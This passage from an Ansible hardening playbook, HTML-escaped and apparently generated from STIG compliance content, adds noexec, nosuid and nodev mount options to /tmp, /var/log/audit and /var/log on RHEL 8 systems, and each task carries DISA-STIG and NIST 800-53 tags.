      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;noexec&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040125
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /tmp: Ensure /tmp is mounted with noexec option'
    ansible.posix.mount:
      path: /tmp
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040125
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_noexec
    - no_reboot_needed

  - name: 'Add nosuid Option to /tmp: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/tmp'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040124
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /tmp: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040124
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /tmp: If /tmp not mounted, craft mount_info manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /tmp
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040124
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /tmp: Make sure nosuid option is part of the to /tmp
      options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nosuid''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;nosuid&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040124
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /tmp: Ensure /tmp is mounted with nosuid option'
    ansible.posix.mount:
      path: /tmp
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040124
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_tmp_nosuid
    - no_reboot_needed

  - name: 'Add nodev Option to /var/log/audit: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/var/log/audit'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040129
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/log/audit: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040129
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/log/audit: If /var/log/audit not mounted, craft
      mount_info manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /var/log/audit
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040129
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/log/audit: Make sure nodev option is part of the
      to /var/log/audit options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nodev''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;nodev&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040129
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/log/audit: Ensure /var/log/audit is mounted with
      nodev option'
    ansible.posix.mount:
      path: /var/log/audit
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040129
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_nodev
    - no_reboot_needed

  - name: 'Add noexec Option to /var/log/audit: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/var/log/audit'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040131
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/log/audit: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040131
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/log/audit: If /var/log/audit not mounted, craft
      mount_info manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /var/log/audit
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040131
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/log/audit: Make sure noexec option is part of
      the to /var/log/audit options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''noexec''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;noexec&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040131
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/log/audit: Ensure /var/log/audit is mounted with
      noexec option'
    ansible.posix.mount:
      path: /var/log/audit
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040131
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_noexec
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/log/audit: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/var/log/audit'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040130
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/log/audit: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040130
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/log/audit: If /var/log/audit not mounted, craft
      mount_info manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /var/log/audit
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040130
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/log/audit: Make sure nosuid option is part of
      the to /var/log/audit options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nosuid''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;nosuid&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040130
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/log/audit: Ensure /var/log/audit is mounted with
      nosuid option'
    ansible.posix.mount:
      path: /var/log/audit
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log/audit&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040130
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_audit_nosuid
    - no_reboot_needed

  - name: 'Add nodev Option to /var/log: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/var/log'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040126
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/log: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
